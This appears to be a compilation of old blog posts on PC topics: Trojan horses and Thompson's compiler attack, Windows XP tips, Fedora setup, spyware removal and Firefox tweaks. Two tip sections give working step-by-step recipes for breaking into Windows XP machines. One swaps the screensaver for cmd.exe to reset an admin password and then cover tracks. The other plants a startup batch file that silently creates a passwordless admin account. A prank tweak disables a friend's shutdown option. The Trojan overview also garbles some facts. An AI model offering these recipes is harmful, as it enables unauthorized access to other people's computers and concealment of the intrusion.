Trojan Horses::The Virus!!

Trojan Horse in History

The term comes from the a Greek story of the Trojan War, in which the Greeks give a giant wooden horse to their foes, the Trojans, ostensibly as a peace offering. But after the Trojans drag the horse inside their city walls, Greek soldiers sneak out of the horse's hollow belly and open the city gates, allowing their compatriots to pour in and capture Troy..

Trojan Horses

Back to the "modern" Trojan Horses. They're pretty much the same: invisible to the naked eye; appear within harmless programs; require some form of user/operating system intervention to activate; and they do something unexpected by surprise. This article is just to convey a basic principle about the design of Trojan horse programs.

Trojans are designed to access permissions and exploit resources. The goal of password snatchers is to securely leak the login/password pairs to the Trojan author, and the goal in kleptographic attacks is to securely leak private keys to the attacker.

Nature of Trojan Horses

There is no "real" definition of a Trojan horse. It all depends on the perspective of the user that runs into it. From the perspective of a hacker (generally black-hat hackers), a reboot monitoring Trojan (useful in making sure no one used your machine) is not a Trojan to him/her since the hacker knows what it's about. From a law enforcement agent or people like that, it is a Trojan since the agent doesn't know it's there.

There are two examples of Trojans. One is a Trojan that is nothing more than a bug. Don't think that's a good thing. This bug could be bad enough that when planted properly, a Trojan author can break into the computer system. The second Trojan is a mathematical one. The statistical distribution of the output of a random number generator is affected so that it makes the generator very sensitive to the input entropy (I will not go into detail in this, please Google if you do not understand this [:)].

Trojan Horses in a text editor

An example of a text editor being used as a target for a Trojan horse:

If there was an installed text editor on a multiuser operating system which cannot be deleted or modified by the users themselves, then this program has certain unique privileges. For instance, It can access all the text files that users create or open. This would be the perfect target for a Trojan horse. When the Trojan is installed on this program, it will store data from users and makes the data accessible for the Trojan horse author.

Salami Slicing

There was once an article describing a Trojan horse attack that was intended to achieve money. This was carried out by an employee of a bank. He managed to get 70 000$ by taking a few cents from every account, and transferred it into his own account. It got the name of salami slicing because small amounts of money were taken from a lot of accounts. It's pretty useful to prevent anyone from noticing any drastic changes. The bank Trojan had access to money therefore the Trojan steals the money. Therefore, a text editor has access to documents so the Trojan steals the documents (pretty simple isn't it?).

Password Snatching

Every hacker would love to steal login/password pairs (referring to black-hat hackers). Password-snatching programs are installed when a system is infiltrated. These programs are also called rootkits. They were probably written in DOS terminate and stay resident programs (TSR). They record all keystrokes entered via the keyboard and patch the operating system hardware interrupt for key presses and log them to a file.

It is best if a password-snatching Trojan is hosted in a program that could access the passwords of users, like the UNIX "passwd" program. It verifies the identity of UNIX users by checking the login/password pairs. One could copy the Trojan to the end of the passwd program, or one could modify the source code for the password program, recompile it, and then install the compromised version (only if the root access is possible).

However, if the source code for the passwd program is updated and the administrator compiles a new version of it, then the attack would fail. So it would make sense to install a Trojan horse into the compiler which will increase the percentage of success of the attack. But if the compiler is recompiled, then the code that secretly inserts the Trojan into the passwd program would be gone.
______________________________________________________________________

There's not much left for me to explain. But one more thing for you to see :

Ken Thompson described an involved Trojan horse attack.

CODE :

compiler(char*s)
{
...
}

This is a figure of a normal compiler (ANSI C notation) (I did not create this)

The parameter s is a pointer to a string that contains the source code. The idea is to insert a source level Trojan horse into the source code of the compiler that checks for two patterns in the string s.

The first pattern is source code corresponding to the password verification program. When it is found, the password-snatching source code is added to the program before it is compiled. But the Trojan is not saved to the source file of the password program.

The second pattern is source code corresponding to the compiler. When it is found, the entire compiler Trojan is included in the compiler source code. It will contain all of the source code for the Trojan which is marked by the "if" statements in this following figure.

CODE :

compile(char*s)
{
if (match)s,pattern1) ==true)
{
compile(trojan1);
return;
}
if (match)s,pattern2) ==true)
{
compile(trojan2);
return;
}
...
}

Figure of a compiler with Trojan (ANSI C notation)(I did not create this either)

Whenever the compiler is compiled, the Trojan copies itself into the source file for the compiler. It can be added to the source for the compiler then the compiler could be recompiled, and the old compiler could be replaced. This would remove all traces of the source code for the Trojan attack. It would remain in binary form, integrated with the compiled instructions.

So Thompson's Trojan horse attack exploits the capabilities of its host. For example, it exploits the fact that compilers are used to create programs such as the passwd program and the compiler itself.
Also, it exploits the fact that the passwd program has access to login/password pairs and that the compiler has access to them as well by transitivity.

Yeah... I believe that this is okay to be an overview of Trojan horses.

Windows Process Information

Yesterday, my friend Anna was asking me about process and want to know that which process window need and which are unnecessary.I found a intresting site which help to solve this problem.

When pressing Ctrl+Alt+Delete on your computer you’ll get the task manager. In the task manager you can find a lot of valuable information such as: which applications and process are running at the moment, your pc performances, some info about your network activities and the current user which is logged on the computer.

When looking at the process tab in your task manager you’ll find that there are a lot of processes on your computer which are running. Some of them speak for them selfs such as: Photoshop.exe (which means that Photoshop is running), FireFox.exe (which means that FireFox is running) and you’ll also see some process which you didn’t start or know about. Processes like alg.exe, svchost.exe, ccapp.exe, ctfmon.exe etc..
There might also be a process of a program which you have installed with the autorun function (So it starts each time you turn your computer on!). Here’s what I do in this situation, depending on which program it is and if I NEED it, I’ll make sure that this doesn’t run when I turn my computer on.

I find the information in the process tab very handy cause I want to know what my pc is up to and which process are running at the moment. There are process which can be stopped simply because you don’t need/use them. Some of them can’t/shouldn’t be stopped because Windows XP needs them!!
By disabling the unnecessary process and the autorun programs you can gain more CPU & RAM resources and you’ll also notice that you’r computer is starting up more quickly.

So if you need to find more information about the process which are running on your pc and which you don’t know about, you can visit File.net.
On File.net you can find some background information about the process, which program uses that process, what it’s good for and how you can remove/stop the process.
So be in control of your computer and decide which programs may run on your computer.

WINDOWS TIPS COLLECTION

How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
"net user password"
If the Administrator Account is called Frank and you want the password blah enter this
"net user Frank blah"
and this changes the password on franks machine to blah and your in.

Have fun
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

No Shutdown:

Wanna play with your friends by removing the shutdown option from start menu in their computer.
Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"
Menu Delays:

Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.

Create a Shortcut to Lock Your Computer

Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.

Create Administrator Account using Guest Account

I was wondering if this was possible. and oh yes it is possible. but the PC in which you want to create an admin account, an administrator who logs on regularly must be present. ( I mean someone with an administrator account must log in ) This process can be divided in to .... lets say about 5 steps. and here are the cools 5 steps to create your own admin account:


1. Right click desktop NEW> Text Document


2.Write the following in the notepad
@echo off
net user Newadmin /add /expires:never /passwordreq:no
net localgroup “Administrators” /add Newadmin

3.save the file and rename it to what ever you want with the extention .bat


4.Copy the file to the Startup folder. Here is the path to the Startup folder:
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
5.The next time the admin logs on into the computer, the batch file runs and the admin account is created. Once the admin logs off, you can log in using the username newadmin and without any password.
Remember that it wouldn’t take long for the real admin to find out that a new admin account has been created.
Hope this helped someone who needs an admin a/C.

20 things about Windows XP you never knew!!!

* It boasts how long it can stay up. Whereas previous versions of Windows were coy about how long they went between boots, XP is positively proud of its stamina. Go to the Command Prompt in the Accessories menu from the All Programs start button option, and then type 'systeminfo'. The computer will produce a lot of useful info, including the uptime. If you want to keep these, type 'systeminfo > info.txt'. This creates a file called info.txt you can look at later with Notepad. (Professional Edition only).

* You can delete files immediately, without having them move to the Recycle Bin first. Go to the Start menu, select Run and type 'gpedit.msc'; then select User Configuration, Administrative Templates, Windows Components, Windows Explorer and find the Do not move deleted files to the Recycle Bin setting. Set it. Poking around in gpedit will reveal a great many interface and system options, but take care -- some may stop your computer behaving as you wish. (Professional Edition only).

* You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter 'rundll32.exe user32.dll,LockWorkStation' in the location field. Give the shortcut a name you like. That's it -- just double click on it and your computer will be locked. And if that's not easy enough, Windows key + L will do the same.

* XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.

* For those skilled in the art of DOS batch files, XP has a number of interesting new commands. These include 'eventcreate' and 'eventtriggers' for creating and watching system events, 'typeperf' for monitoring performance of various subsystems, and 'schtasks' for handling scheduled tasks. As usual, typing the command name followed by /? will give a list of options -- they're all far too baroque to go into here.

* XP has IP version 6 support -- the next generation of IP. Unfortunately this is more than your ISP has, so you can only experiment with this on your LAN. Type 'ipv6 install' into Run... (it's OK, it won't ruin your existing network setup) and then 'ipv6 /?' at the command line to find out more. If you don't know what IPv6 is, don't worry and don't bother.

* You can at last get rid of tasks on the computer from the command line by using 'taskkill /pid' and the task number, or just 'tskill' and the process number. Find that out by typing 'tasklist', which will also tell you a lot about what's going on in your system.

* XP will treat Zip files like folders, which is nice if you've got a fast machine. On slower machines, you can make XP leave zip files well alone by typing 'regsvr32 /u zipfldr.dll' at the command line. If you change your mind later, you can put things back as they were by typing 'regsvr32 zipfldr.dll'.

* XP has ClearType -- Microsoft's anti-aliasing font display technology -- but doesn't have it enabled by default. It's well worth trying, especially if you were there for DOS and all those years of staring at a screen have given you the eyes of an astigmatic bat. To enable ClearType, right click on the desktop, select Properties, Appearance, Effects, select ClearType from the second drop-down menu and enable the selection. Expect best results on laptop displays. If you want to use ClearType on the Welcome login screen as well, set the registry entry HKEY_USERS/.DEFAULT/Control Panel/Desktop/FontSmoothingType to 2.

* You can use Remote Assistance to help a friend who's using network address translation (NAT) on a home network, but not automatically. Get your pal to email you a Remote Assistance invitation and edit the file. Under the RCTICKET attribute will be a NAT IP address, like 192.168.1.10. Replace this with your chum's real IP address -- they can find this out by going to www.whatismyip.com -- and get them to make sure that they've got port 3389 open on their firewall and forwarded to the errant computer.

* You can run a program as a different user without logging out and back in again. Right click the icon, select Run As... and enter the user name and password you want to use. This only applies for that run. The trick is particularly useful if you need to have administrative permissions to install a program, which many require. Note that you can have some fun by running programs multiple times on the same system as different users, but this can have unforeseen effects.

* Windows XP can be very insistent about you checking for auto updates, registering a Passport, using Windows Messenger and so on. After a while, the nagging goes away, but if you feel you might slip the bonds of sanity before that point, run Regedit, go to HKEY_CURRENT_USER/Software/Microsoft/Windows/Current Version/Explorer/Advanced and create a DWORD value called EnableBalloonTips with a value of 0.

* You can start up without needing to enter a user name or password. Select Run... from the start menu and type 'control userpasswords2', which will open the user accounts application. On the Users tab, clear the box for Users Must Enter A User Name And Password To Use This Computer, and click on OK. An Automatically Log On dialog box will appear; enter the user name and password for the account you want to use.

* Internet Explorer 6 will automatically delete temporary files, but only if you tell it to. Start the browser, select Tools / Internet Options... and Advanced, go down to the Security area and check the box to Empty Temporary Internet Files folder when browser is closed.

* XP comes with a free Network Activity Light, just in case you can't see the LEDs twinkle on your network card. Right click on My Network Places on the desktop, then select Properties. Right click on the description for your LAN or dial-up connection, select Properties, then check the Show icon in notification area when connected box. You'll now see a tiny network icon on the right of your task bar that glimmers nicely during network traffic.

* The Start Menu can be leisurely when it decides to appear, but you can speed things along by changing the registry entry HKEY_CURRENT_USER/Control Panel/Desktop/MenuShowDelay from the default 400 to something a little snappier. Like 0.

* You can rename loads of files at once in Windows Explorer. Highlight a set of files in a window, then right click on one and rename it. All the other files will be renamed to that name, with individual numbers in brackets to distinguish them. Also, in a folder you can arrange icons in alphabetised groups by View, Arrange Icon By... Show In Groups.

* Windows Media Player will display the cover art for albums as it plays the tracks -- if it found the picture on the Internet when you copied the tracks from the CD. If it didn't, or if you have lots of pre-WMP music files, you can put your own copy of the cover art in the same directory as the tracks. Just call it folder.jpg and Windows Media Player will pick it up and display it.

*Windows key + Break brings up the System Properties dialogue box;
*Windows key + D brings up the desktop;
*Windows key + Tab moves through the taskbar buttons.

How To: Enable Compiz effects on Fedora Core 6 with an nVidia Card

I installed Fedora Core 6 in my system on Last week - ok yeah I know I need to get a better life. But, hey I was just mesmerized by reading the new features in Core 6 - named Zod that I had to try. Well, Zod is NO god!! After 3 reinstallations and reading through millions of articles on What the hell is the problem with Fedora Core 6, I finally managed to get everything up and working!!
Some basic instructions to the newbie planning to install Fedora Core 6.
Solving the i686 architecture with the i586 kernel and kernel-devel problem:
If you are planning to install FC6 on an i686 architecture - make note of this!! Anaconda screws up BIG TIME, and installs the i586 kernel and kernel-devel on ur i686 machine. Normally this is not a problem, however, CPU Frequency controller daemon will not work and it’ll be a pain in various parts of the anatomy if your driver / program requires a kernel-module to be installed along with it. The worst part - your architecture is still maintained as i686!! Just that anaconda installs the i586 kernel!!
Solution:


1. 1. Install yumex$ su -
   $ yum -y install yumex
2. 2. Once the installation is over, get into yumex
3. [Applications->System Tools-> Yum Extender]
4. 3. Go to the Install View once it’s done updating everything
5. 4. Install kernel-xen and kernel-devel-xen packages for the i686 architecture
6. 5. Once installation is done, reboot into the xen kernel
   
7. [which itself is not really worth having owing to tons of problems].
8. 6. Go to yumex again and remove kernel and kernel-devel packages currently for the i586 architecture
9. 7. Once it is done, Go to the Install View and add kernel and kernel-devel packages, but now for the i686 architecture
10. 8. Once it is done, reboot into the non-xen kernel and remove kernel-xen and kernel- devel-xen packages
11. 9. Boom you are done and you can get to installing the packages for nvidia/ati drivers, ntfs support etc.

I read there is a simpler way - aka the more adventurous way of getting ur kernel to the i686 architecture. It’s provided here!! Me, not being so adventurous, especially on breaking Linux 3 times after installation, I stuck to the safer bet :-D!
Solving the Desktop Effects cannot be enabled problem for nVidia cards
Another crazy thing I noticed - after reading so much about Compiz being installed by default with Fedora Core 6 and GNome 2.16 is that - try as I may - it never got enabled!! Aaarrgghhh!! Well, so I went to the Compiz requirements site - and checked that for it to work with nVidia cards, it required driver 1.0-9625 or higher..

Known Working

ATI: Radeon 7000 through X850 (r100 through r400 generations)
Intel: i830 through i945
nVidia: all cards supported by the driver 1.0-9625 or higher

[source: http://fedoraproject.org/wiki/RenderingProject/aiglx]

And the latest stable driver in the Livna repo for Fedora Core 6 is 1.0-8776. Umm - what DO you do?
Solution:

1. 1. Enable livna-testing repo.
2. 2. Go to the update view in Yum Extender
3. 3. Select kmod-nvidia and the xorg-x11-drv packages which are 1.0-9626. Update your drivers people!! and Boom!! After a reboot - thou shall be able to enable Desktop Effects. Enjoy rotating the cube and all sortsa window wobbly effects.

Note: The Window Wobbly effects could get to you after some time, if you move around your Windows a lot :-D!!
Note to self: Need to post more links and screenshots of the same. Shall get to that in a day or two!

How to beat spyware and viruses?

Here's my perennial "How to Beat Spyware".
Here's what to do if you suspect an infection on your Windows PC. (Please note these steps apply to both Windows XP and Vista.)

1) Are you sure it's spyware or a virus?

Windows pop-ups and alerts can often seem invasive enough to be viruses, especially with Vista. Try searching the web for the exact text you see on the screen to make sure you aren't dealing with an aggressive Windows message. (Many of these can be turned off, so try whatever instructions you find.) On the other hand, some viruses masquerade as Windows alerts, so tread lightly.
2) Boot in safe mode. If you have a virus, first step is to try booting in safe mode. You can get to safe mode (a simplified version of Windows that disables a lot of extra junk, possibly including some spyware apps) by restarting your PC and tapping F8 during boot. Soon you'll get a menu of options. Select "Safe Mode" (it's at the top of the menu) and wait for the machine to fully boot. The system will look funny (with a black background and larger icons, probably), but don't worry about it. This is only temporary. (Also note that many spyware applications can disable safe mode, so if you find this doesn't work, just boot normally.)
3) Run your antivirus application. This is of course assuming you have an antivirus application. You're in safe mode now, so run a full scan of your PC at maximum security levels (include the option to scan within compressed files, for example). This will probably take an hour or more, so be patient. Fix any problems the virus scan turns up. Then reboot into safe mode again using the procedure in step 2.
4) Run one or two anti-spyware applications. I used to recommend running multiple anti-spyware apps, but virtually all antivirus apps now do a pretty good job at getting rid of spyware too, so you don't need an army of additional applications just for spyware. Also, I now recommend starting with AdAware (which is free) and moving on to Spyware Doctor (free as part of the Google Pack) if you feel you need additional help. (Please note that recent versions of Spyware Doctor and Norton Antivirus have some trouble with each other.) You can try other apps too, but the once-recommended SpyBot Search & Destroy is no longer very effective, sadly. (Neither is Microsoft's own Windows Defender.) Of course, fix anything and everything these apps find.
5) Reboot normally. (Not in safe mode.) Now take stock. Still got spyware? It's time to move along to my more advanced techniques for removing the nasties.
6) Run HijackThis. HijackThis is a free software tool that scans your computer to find malware that other apps might miss. Scroll down to "Official downloads" to download the tool. Next, simply open the ZIP file you downloaded, extract the application, and run the tool (you don't need to install it). Click the "Do a system scan and save a logfile" button. You'll receive a large text file as well as a dialog box which gives you a list of active software processes, which you can then choose to delete. Unfortunately, this list includes both helpful and unhelpful software, so don't just start deleting items. Continue in step 7 to figure out how to fix your spyware infection.
7) Post your log file online. Visit this page, which offers a list of forums staffed by volunteers who can help you interpret your HijackThis log. The SWI Forums are especially busy, but most of the forums on the list are equally apt. Go to SWI and visit the "Malware Removal" forum which has over 50,000 topics listed: Those are all people like you who are seeking help getting rid of spyware. Register for an account, read the FAQ, then visit that Malware Removal forum, and post a new topic. Paste the content of the text file you created in step 5 into this topic and (politely) ask for help. You will get a response from a volunteer helper, typically within 3 days. You'll be given specific advice on what entries to remove with the HijackThis tool, and you might be pointed to additional software to run to help remove common spyware infections. Follow all the instructions and keep working with the forum helpers until either you or they give up. (And no, don't send your log file to me or post it here. I am not nearly the spyware removal expert that these guys are.)
7a) Alternately: Paste your log file into an automated tool. Don't have three days? Try simply pasting your HijackThis log file into this form. It does a pretty good job at auto-analyzing what's wrong with your machine, with no waiting. As well, if that doesn't work, you can search for the items you find in the HijackThis log by name to see what they are and how to remove them, if they're spyware. This can be quite time consuming, though.
8) Try System Restore. If that doesn't work, you might try running Windows System Restore to roll back your OS to a time before the infection happened. This isn't foolproof: You might not have System Restore turned on, or the spyware might have shut System Restore off, as well. But it's worth a shot. With either XP or Vista, System Restore can be found under Start > All Programs > Accessories > System Tools > System Restore.
9) Give up and wipe your hard drive. At this point, you've exhausted all the options I know of. You might try again at steps 6/7 to make sure you've done everything you can to salvage the PC. Forum helpers will often work with you for weeks to help fight a spyware infection, but there are tens of thousands of possible variants out there, with new ones cropping up every day. It's just not possible to clean them all, every time. Sometimes the only thing you can do is call it quits, reformat your hard drive, and reinstall your OS. Again, make sure you have your backups ready and verified. Once you're up and running, reinstall your antivirus and anti-spyware applications, and stay vigilant against infection. Good luck.

How you can speed up your Firefox?

Here is how you can speed up your Firefox to work faster....

1. Type “about:config” into the address bar and hit return. Scroll
down and look for the following entries:

network.http.pipelining
network.http.proxy.pipelining
network.http.pipelining.maxrequests

Normally the browser will make one request to a web page at a time.
When you enable pipelining it will make several at once, which really
speeds up page loading.

2. Alter the entries as follows:

Set “network.http.pipelining” to “true”

Set “network.http.proxy.pipelining” to “true”

Set “network.http.pipelining.maxrequests” to some number like 30. This
means it will make 30 requests at once.

3. Lastly right-click anywhere and select New-> Integer.
Name it “nglayout.initialpaint.delay” and set its value to “0″.
This value is the amount of time the browser waits before it acts on information it recieves.

Here you go now pages will load 2-30 times faster .
